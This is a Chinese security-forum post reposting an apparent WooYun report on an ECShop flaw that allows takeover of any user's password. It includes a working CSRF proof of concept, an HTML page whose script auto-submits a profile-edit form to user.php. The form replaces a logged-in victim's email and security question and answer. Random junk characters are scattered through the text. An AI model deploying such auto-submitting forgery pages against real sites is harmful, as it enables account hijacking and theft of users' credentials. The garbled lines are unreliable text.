找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2182|回复: 0
打印 上一主题 下一主题

ecshop修改任意用户密码漏洞的CSRF利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-20 08:30:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
$ p1 Z" B6 i6 @$ }- z" zecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
9 X, w" k) _4 t* O- H; a4 t) S
& A# ~  h# F  CDemo For:http://www.wooyun.org/bug.php?action=view&id=395: j% H& e$ M3 n8 j
  H& l  q+ E& C2 S1 E( ~9 P5 N1 i
详细说明:6 i: O8 O7 ]) r2 n7 H) F/ h
利用csrf和xss可以突破官方所说的“障碍”7 f2 O" I+ k! T! w
xss版本已经有人说明
/ e, Z. J6 W2 R& p8 e这里给出csrf版本
2 E- p; U/ g# @7 d! Z5 y$ _% }$ |6 ]# `& G: n5 s. d$ j, @" O& D
漏洞证明:
2 @+ l2 b* R4 U3 o! `: e<html>
  K, G( H5 d6 g3 f8 W<body>, r, L3 B) U; x# F4 }* C9 b6 {' I
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
" Q: {! q* }+ e( A; p) B! F<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">1 F, A4 r8 w# y7 B* Q3 H
<INPUT TYPE="text" NAME="act" value="act_edit_profile">
, M: @9 ]% R6 q! w% R6 v<INPUT TYPE="text" NAME="sel_question" value="ecshop">5 Q- Q( Q: D1 v; X3 M7 R  Y
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
; y. @2 |- _, U* ]7 u, b</body>5 V+ `. X7 ~6 y: w# D% s# u
<script>. s% d9 F( u& j/ J/ X' ~
document.forms[0].submit();  q5 P- O8 R8 ?" D7 q) p& b
</script>
3 F2 j7 ]1 f3 F& D- h) K</html>) N. L8 G& S" p) y( y
构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
9 b3 E3 t( I) T& C7 g  W( A- u' y
. s! C, D2 E! \6 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表